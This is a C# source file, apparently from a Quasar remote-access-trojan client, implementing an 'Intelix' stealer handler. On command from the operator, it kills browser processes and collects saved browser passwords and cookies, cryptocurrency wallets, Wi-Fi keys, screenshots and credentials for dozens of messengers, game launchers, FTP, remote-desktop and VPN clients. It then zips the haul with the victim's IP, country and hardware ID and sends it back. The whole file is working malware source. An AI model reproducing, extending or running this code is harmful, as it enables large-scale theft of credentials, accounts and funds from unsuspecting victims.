using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using Intelix.Helper;
using Intelix.Helper.Data;
using Intelix.Targets;
using Intelix.Targets.Applications;
using Intelix.Targets.Browsers;
using Intelix.Targets.Crypto;
using Intelix.Targets.Device;
using Intelix.Targets.Games;
using Intelix.Targets.Messangers;
using Intelix.Targets.Vpn;

namespace Quasar.Client.Messages
{
    public class IntelixStealerHandler : IMessageProcessor
    {
        public bool CanExecute(IMessage message) => message is GetIntelixStealerLogs;

        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            switch (message)
            {
                case GetIntelixStealerLogs msg:
                    Execute(sender, msg);
                    break;
            }
        }

        private void Execute(ISender client, GetIntelixStealerLogs message)
        {
            new Thread(() =>
            {
                try
                {
                    List<ITarget> targetsBrowsers = new List<ITarget>
                    {
                        new Chromium(),
                        new Gecko()
                    };

                    List<ITarget> targets = new List<ITarget>
                    {
                        new ScreenShot(),
                        new GameList(),
                        new InstalledBrowsers(),
                        new InstalledPrograms(),
                        new ProcessDump(),
                        new ProductKey(),
                        new SystemInfo(),
                        new WifiKey(),
                        new Telegram(),
                        new Discord(),
                        new Element(),
                        new Icq(),
                        new MicroSIP(),
                        new Jabber(),
                        new Outlook(),
                        new Pidgin(),
                        new Signal(),
                        new Skype(),
                        new Tox(),
                        new Viber(),
                        new Minecraft(),
                        new BattleNet(),
                        new Epic(),
                        new Riot(),
                        new Roblox(),
                        new Steam(),
                        new Uplay(),
                        new XBox(),
                        new Growtopia(),
                        new ElectronicArts(),
                        new Rdp(),
                        new AnyDesk(),
                        new CyberDuck(),
                        new DynDns(),
                        new FileZilla(),
                        new Ngrok(),
                        new PlayIt(),
                        new TeamViewer(),
                        new WinSCP(),
                        new TotalCommander(),
                        new FTPNavigator(),
                        new FTPRush(),
                        new CoreFtp(),
                        new FTPGetter(),
                        new FTPCommander(),
                        new TeamSpeak(),
                        new Obs(),
                        new GithubGui(),
                        new NoIp(),
                        new FoxMail(),
                        new Navicat(),
                        new RDCMan(),
                        new Sunlogin(),
                        new Xmanager(),
                        new JetBrains(),
                        new PuTTY(),
                        new Cisco(),
                        new RadminVPN(),
                        new CyberGhost(),
                        new ExpressVPN(),
                        new HideMyName(),
                        new IpVanish(),
                        new MullVad(),
                        new NordVpn(),
                        new OpenVpn(),
                        new PIAVPN(),
                        new ProtonVpn(),
                        new Proxifier(),
                        new SurfShark(),
                        new Hamachi(),
                        new WireGuard(),
                        new SoftEther(),
                        new CryptoDesktop(),
                        new Grabber(),
                        new UserAgentGenerator(),
                        new CryptoChromium(),
                        new CryptoGecko()
                    };

                    StringBuilder stringBuilderError = new StringBuilder();
                    InMemoryZip zip = new InMemoryZip();

                    try
                    {
                        Counter counter = new Counter();

                        string publicIp = "N/A";
                        try
                        {
                            publicIp = IpApi.GetPublicIp();
                        }
                        catch (Exception ex)
                        {
                            stringBuilderError.AppendLine($"Failed to get IP: {ex.Message}");
                        }

                        string countryCode = "XX";
                        try
                        {
                            countryCode = IpApi.GetCountryCode();
                        }
                        catch (Exception ex)
                        {
                            stringBuilderError.AppendLine($"Failed to get country code: {ex.Message}");
                        }

                        string hwid = "UnknownHWID";
                        try
                        {
                            hwid = HwidGenerator.GetHwid();
                        }
                        catch (Exception ex)
                        {
                            stringBuilderError.AppendLine($"Failed to get HWID: {ex}");
                        }

                        ArchiveStructure archiveStructure = new ArchiveStructure(countryCode, publicIp, hwid);
                        zip.SetRootFolderPrefix(archiveStructure.RootFolderName);

                        // Process browsers
                        ProcessKiller.KillerAll();
                        Thread.Sleep(200);
                        
                        foreach (var target in targetsBrowsers)
                        {
                            try
                            {
                                target.Collect(zip, counter);
                            }
                            catch (Exception ex)
                            {
                                stringBuilderError.AppendLine($"[BROWSER: {target.GetType().Name}] {ex.Message}");
                            }
                        }

                        // Process other targets
                        foreach (var target in targets)
                        {
                            try
                            {
                                target.Collect(zip, counter);
                            }
                            catch (Exception ex)
                            {
                                stringBuilderError.AppendLine($"[TARGET: {target.GetType().Name}] {ex.Message}");
                            }
                        }

                        counter.Collect(zip);
                        ConsolidatedFilesGenerator.GenerateConsolidatedFiles(zip, counter, publicIp, countryCode, hwid);
                        zip.AddTextFile("Error.txt", stringBuilderError.ToString());

                        // Send the zip data back
                        byte[] zipData = zip.ToArray();
                        
                        client.Send(new GetIntelixStealerLogsResponse
                        {
                            ZipData = zipData,
                            Hwid = hwid,
                            PublicIp = publicIp,
                            CountryCode = countryCode,
                            PasswordCount = counter.Browsers.Sum(b => (long)b.Password),
                            CookieCount = counter.Browsers.Sum(b => (long)b.Cookies),
                            WalletCount = counter.CryptoDesktop.Count() + counter.CryptoChromium.Count(),
                            Success = true
                        });
                    }
                    finally
                    {
                        if (zip != null)
                            ((IDisposable)zip).Dispose();
                    }
                }
                catch (Exception ex)
                {
                    client.Send(new GetIntelixStealerLogsResponse
                    {
                        Success = false,
                        ErrorMessage = ex.Message
                    });
                }
            })
            {
                IsBackground = true
            }.Start();
        }
    }
}
